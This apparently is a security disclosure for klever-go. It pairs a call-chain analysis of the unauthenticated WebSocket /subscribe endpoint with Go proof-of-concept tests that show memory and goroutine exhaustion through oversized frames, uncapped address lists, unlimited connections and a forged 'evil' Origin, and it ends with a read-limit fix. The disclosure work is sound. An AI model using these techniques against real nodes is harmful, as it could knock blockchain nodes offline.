Klever-Go CVE-2026-86065

gin engine (network/api/api.go: Start -> ws.Run, IN-PROCESS with node)
 -> GET /subscribe                              network/api/websocket/routes.go:34  (SubscribeTopics)
   -> handleSubscribe                            network/api/websocket/routes.go:39
     -> upgrader.Upgrade  (CheckOrigin == true)  network/api/websocket/routes.go:22  <-- GAP #1
     -> go processSubscription(conn, hub)         network/api/websocket/routes.go:46  (throttler slot freed here)
        -> conn.ReadJSON(&req)  (no SetReadLimit) network/api/websocket/routes.go:57  <-- GAP #2
        -> hub.HandleClientInsertion(...)         websocket/websocket.go:121          <-- GAP #3 (addresses uncapped)
           -> websocket.NewClient -> loopIn/loopOut (2 goroutines + 500-buf chan per conn)  websocket/client.go:24
              -> conn.ReadMessage()  (no SetReadLimit, no deadline)  websocket/client.go:77  <-- GAP #2

var upgrader = gorilla.Upgrader{
	CheckOrigin: func(r *http.Request) bool {
		return true                      // GAP #1: any origin accepted
	},
}

func handleSubscribe(c *gin.Context, hub *websocket.SocketHub) {
	conn, err := upgrader.Upgrade(c.Writer, c.Request, nil)
	if err != nil {
		log.Error(subscribeOp, "err", err.Error())
		return
	}
	go processSubscription(conn, hub) // returns now -> gin global throttler slot released (GAP #3)
}

func processSubscription(conn *gorilla.Conn, hub *websocket.SocketHub) {
	// no conn.SetReadLimit(...) anywhere (GAP #2)
	_ = conn.SetReadDeadline(time.Now().Add(subscribeReadTimeout))
	var req subscribeRequest
	if err := conn.ReadJSON(&req); err != nil { ... }      // unbounded read
	_ = conn.SetReadDeadline(time.Time{})                  // deadline cleared
	...
	client := websocket.NewClient(conn, hub)
	hub.HandleClientInsertion(parsedTypes, req.Addresses, client) // req.Addresses uncapped (GAP #3)
}

for _, address := range addresses {
	if _, ok := h.addressSubscription[address]; !ok {
		h.addressSubscription[address] = make(map[*client]userOptions) // grows 1:1 with attacker input
	}
	...
}

for {
	messageType, message, err := c.conn.ReadMessage() // GAP #2: unbounded, no SetReadLimit
	...
}

$ go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v
=== RUN   TestPoC_UnboundedAddressSubscriptionGrowth
    zz_poc_ws_unbounded_subscription_test.go:46: addressSubscription entries after ONE client submitted 200000 addresses: 200000
    zz_poc_ws_unbounded_subscription_test.go:50: VULNERABLE: no cap on per-connection address count
--- PASS: TestPoC_UnboundedAddressSubscriptionGrowth (0.09s)
PASS
ok  	github.com/klever-io/klever-go/websocket	0.092s

$ go test ./network/api/websocket/ -run TestE2E_Gap -v
=== RUN   TestE2E_Gap1_EvilOriginAccepted
    zz_e2e_ws_dos_test.go:87: GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP 101)
    zz_e2e_ws_dos_test.go:94: control: hardened handler rejected evil origin (HTTP 403) as expected
--- PASS: TestE2E_Gap1_EvilOriginAccepted (0.00s)
=== RUN   TestE2E_Gap2_NoReadSizeLimit
    zz_e2e_ws_dos_test.go:118: control: hardened handler rejected 8388608-byte frame with close 1009 (read limit works)
    zz_e2e_ws_dos_test.go:147: GAP#2 CONFIRMED: real /subscribe accepted an 8388608-byte (8 MiB) frame with NO size limit (no close 1009; read err=read tcp ... i/o timeout). Server heap grew ~32 MiB while buffering one attacker frame.
--- PASS: TestE2E_Gap2_NoReadSizeLimit (1.43s)
=== RUN   TestE2E_Gap3_NoConnectionCap
    zz_e2e_ws_dos_test.go:185: GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL 300 concurrent connections from one client with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew 4 -> 604 (~2 per conn).
--- PASS: TestE2E_Gap3_NoConnectionCap (0.43s)
PASS
ok  	github.com/klever-io/klever-go/network/api/websocket	1.866s

// Target component:    klever-go REST/WebSocket API - unauthenticated /subscribe (network/api/websocket, websocket/)
// Vulnerability type:  Uncontrolled resource consumption (CWE-770) - unauthenticated remote
//                      memory/goroutine exhaustion of the node process via the WS API.
// Scope note:          The REST API runs IN-PROCESS with the node, so OOM kills the whole node
//                      (P2P + consensus), not a separate sidecar.
//
// Three compounding gaps on the unauthenticated `/subscribe` endpoint (open:true by default):
//   1) gorilla Upgrader has CheckOrigin -> always true (any origin).
//   2) NO conn.SetReadLimit: a single WS frame/JSON can be arbitrarily large -> one message
//      can force a multi-GB allocation in conn.ReadJSON / ReadMessage.
//   3) NO connection cap (per-IP / global / hub-level): the gin global throttler slot is
//      released right after the HTTP->WS upgrade in handleSubscribe (it returns immediately
//      after `go processSubscription`), so live WS connections are NOT counted by the
//      100-simultaneous-request cap. Each connection also spawns 2 goroutines + a 500-buffered
//      channel, and there is no per-connection cap on req.Addresses, so the hub's
//      addressSubscription map grows 1:1 with attacker-supplied strings.
//
// This test runtime-confirms gap #3 (unbounded addressSubscription growth). Gaps #1/#2 are
// verified by code review (no SetReadLimit / CheckOrigin==true in network/api/websocket/routes.go).
//
// How to run: cp into websocket/ and `go test ./websocket/ -run TestPoC_UnboundedAddressSubscriptionGrowth -v`
package websocket

import (
	"fmt"
	"testing"

	"github.com/klever-io/klever-go/indexer"
)

func TestPoC_UnboundedAddressSubscriptionGrowth(t *testing.T) {
	hub := NewHub("", "", nil)
	c := &client{hub: hub, out: make(chan interface{}, 10), alive: true, sem: make(chan struct{}, maxWorkers)}

	const n = 200000
	addresses := make([]string, n)
	for i := 0; i < n; i++ {
		addresses[i] = fmt.Sprintf("klv-attacker-addr-%d", i)
	}
	hub.HandleClientInsertion([]indexer.EventType{indexer.ACCOUNTS}, addresses, c)

	hub.mu.RLock()
	got := len(hub.addressSubscription)
	hub.mu.RUnlock()

	t.Logf("addressSubscription entries after ONE client submitted %d addresses: %d", n, got)
	if got != n {
		t.Fatalf("expected unbounded growth to %d, got %d", n, got)
	}
	t.Logf("VULNERABLE: no cap on per-connection address count")
}

package websocket_test

import (
	"context"
	"net"
	"net/http"
	"runtime"
	"strings"
	"testing"
	"time"

	"github.com/gin-gonic/gin"
	gorilla "github.com/gorilla/websocket"

	wsapi "github.com/klever-io/klever-go/network/api/websocket"
	hubpkg "github.com/klever-io/klever-go/websocket"
)

// ---- vulnerable server: the REAL production handler ----
func startRealSubscribeServer(t *testing.T) (string, func()) {
	t.Helper()
	gin.SetMode(gin.ReleaseMode)
	engine := gin.New()
	hub := hubpkg.NewHub("", "", nil) // facade nil: /subscribe path doesn't use it
	ctx, cancel := context.WithCancel(context.Background())
	go hub.StartServer(ctx)
	wsapi.SubscribeTopics(engine, hub) // <-- REAL production registration

	ln, err := net.Listen("tcp", "127.0.0.1:0")
	if err != nil {
		t.Fatal(err)
	}
	srv := &http.Server{Handler: engine}
	go func() { _ = srv.Serve(ln) }()
	stop := func() { cancel(); _ = srv.Close(); _ = ln.Close() }
	return ln.Addr().String(), stop
}

// ---- hardened mirror: same flow + the missing controls (strict origin + SetReadLimit) ----
func startHardenedSubscribeServer(t *testing.T) (string, func()) {
	t.Helper()
	gin.SetMode(gin.ReleaseMode)
	engine := gin.New()
	up := gorilla.Upgrader{CheckOrigin: func(r *http.Request) bool {
		return r.Header.Get("Origin") == "" // strict: only same/no-origin allowed
	}}
	engine.GET("/subscribe", func(c *gin.Context) {
		conn, err := up.Upgrade(c.Writer, c.Request, nil)
		if err != nil {
			return
		}
		conn.SetReadLimit(1 << 20) // 1 MiB cap (the fix)
		go func() {
			defer conn.Close()
			for {
				if _, _, err := conn.ReadMessage(); err != nil {
					return
				}
			}
		}()
	})
	ln, _ := net.Listen("tcp", "127.0.0.1:0")
	srv := &http.Server{Handler: engine}
	go func() { _ = srv.Serve(ln) }()
	return ln.Addr().String(), func() { _ = srv.Close(); _ = ln.Close() }
}

func bigValidSubscribeJSON(addrBytes int) []byte {
	// valid subscribe frame: one giant attacker-controlled address string
	return []byte(`{"subscribed_types":["accounts"],"addresses":["` + strings.Repeat("A", addrBytes) + `"]}`)
}

// GAP #1 - permissive origin: real handler accepts an evil Origin; hardened rejects it.
func TestE2E_Gap1_EvilOriginAccepted(t *testing.T) {
	realAddr, stopReal := startRealSubscribeServer(t)
	defer stopReal()
	hardAddr, stopHard := startHardenedSubscribeServer(t)
	defer stopHard()

	hdr := http.Header{"Origin": []string{"https://evil.attacker.example"}}

	cReal, respReal, errReal := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", hdr)
	if errReal != nil {
		t.Fatalf("REAL handler REJECTED evil origin (status %v) - not vulnerable", respReal)
	}
	_ = cReal.Close()
	t.Logf("GAP#1 CONFIRMED: real /subscribe accepted Origin=https://evil.attacker.example (HTTP %d)", respReal.StatusCode)

	cHard, respHard, errHard := gorilla.DefaultDialer.Dial("ws://"+hardAddr+"/subscribe", hdr)
	if errHard == nil {
		_ = cHard.Close()
		t.Fatalf("hardened control unexpectedly accepted evil origin")
	}
	t.Logf("control: hardened handler rejected evil origin (HTTP %d) as expected", respHard.StatusCode)
}

// GAP #2 - no read-size limit: real handler reads a frame far over any sane WS limit;
// the hardened control (SetReadLimit 1 MiB) closes the connection with 1009 on the same frame.
func TestE2E_Gap2_NoReadSizeLimit(t *testing.T) {
	realAddr, stopReal := startRealSubscribeServer(t)
	defer stopReal()
	hardAddr, stopHard := startHardenedSubscribeServer(t)
	defer stopHard()

	const big = 8 << 20 // 8 MiB single frame (>> typical 1 MiB cap; tiny enough not to OOM the runner)
	frame := bigValidSubscribeJSON(big)

	// --- hardened control: must reject (close 1009 "message too big") ---
	cHard, _, err := gorilla.DefaultDialer.Dial("ws://"+hardAddr+"/subscribe", nil)
	if err != nil {
		t.Fatalf("dial hardened: %v", err)
	}
	_ = cHard.WriteMessage(gorilla.TextMessage, frame)
	cHard.SetReadDeadline(time.Now().Add(3 * time.Second))
	_, _, errHard := cHard.ReadMessage()
	_ = cHard.Close()
	if ce, ok := errHard.(*gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig {
		t.Logf("control: hardened handler rejected %d-byte frame with close 1009 (read limit works)", big)
	} else {
		t.Logf("control note: hardened returned %v (expected close 1009)", errHard)
	}

	// --- REAL handler: reads the whole 8 MiB frame; connection NOT closed for size ---
	var m0, m1 runtime.MemStats
	runtime.GC()
	runtime.ReadMemStats(&m0)

	cReal, _, err := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", nil)
	if err != nil {
		t.Fatalf("dial real: %v", err)
	}
	if err := cReal.WriteMessage(gorilla.TextMessage, frame); err != nil {
		t.Fatalf("write big frame to real: %v", err)
	}
	// Give the server time to ReadJSON the full frame + insert the giant address.
	time.Sleep(400 * time.Millisecond)
	runtime.ReadMemStats(&m1)

	// The real handler must NOT have closed us with 1009. Probe with a short read.
	cReal.SetReadDeadline(time.Now().Add(1 * time.Second))
	_, _, rerr := cReal.ReadMessage()
	_ = cReal.Close()
	if ce, ok := rerr.(*gorilla.CloseError); ok && ce.Code == gorilla.CloseMessageTooBig {
		t.Fatalf("REAL handler enforced a read limit (close 1009) - NOT vulnerable")
	}

	t.Logf("GAP#2 CONFIRMED: real /subscribe accepted an %d-byte (8 MiB) frame with NO size limit "+
		"(no close 1009; read err=%v). Server heap grew ~%d MiB while buffering one attacker frame.",
		big, rerr, int64(m1.HeapAlloc-m0.HeapAlloc)/(1<<20))

}

// GAP #3 (connection level) - no per-connection / per-IP / global cap on live WS connections.
// Open many concurrent real connections from one client; the real server accepts them all and
// spawns 2 goroutines + a 500-buffered channel each (uncounted by the gin global throttler,
// whose slot is released right after the HTTP->WS upgrade). Measured via goroutine growth.
func TestE2E_Gap3_NoConnectionCap(t *testing.T) {
	realAddr, stopReal := startRealSubscribeServer(t)
	defer stopReal()

	const n = 300 // modest; enough to show no cap without stressing the runner
	g0 := runtime.NumGoroutine()
	conns := make([]*gorilla.Conn, 0, n)
	accepted := 0
	for i := 0; i < n; i++ {
		c, _, err := gorilla.DefaultDialer.Dial("ws://"+realAddr+"/subscribe", nil)
		if err != nil {
			t.Logf("connection %d rejected: %v", i, err)
			break
		}
		// send a valid subscribe so the server promotes it to a live hub client
		_ = c.WriteMessage(gorilla.TextMessage, []byte(`{"subscribed_types":["blocks"],"addresses":[]}`))
		conns = append(conns, c)
		accepted++
	}
	time.Sleep(300 * time.Millisecond)
	g1 := runtime.NumGoroutine()
	for _, c := range conns {
		_ = c.Close()
	}

	if accepted < n {
		t.Fatalf("server applied a connection cap at %d (<%d) - would weaken the finding", accepted, n)
	}
	t.Logf("GAP#3 CONFIRMED (conn level): real /subscribe accepted ALL %d concurrent connections from one client "+
		"with NO cap (global throttler=100 not enforced on live WS). Server goroutines grew %d -> %d (~%d per conn).",
		accepted, g0, g1, (g1-g0)/n)
}

  const maxWSMessageSize = 1 << 20 // 1 MiB; tune to the largest legitimate subscribe payload
  conn.SetReadLimit(maxWSMessageSize)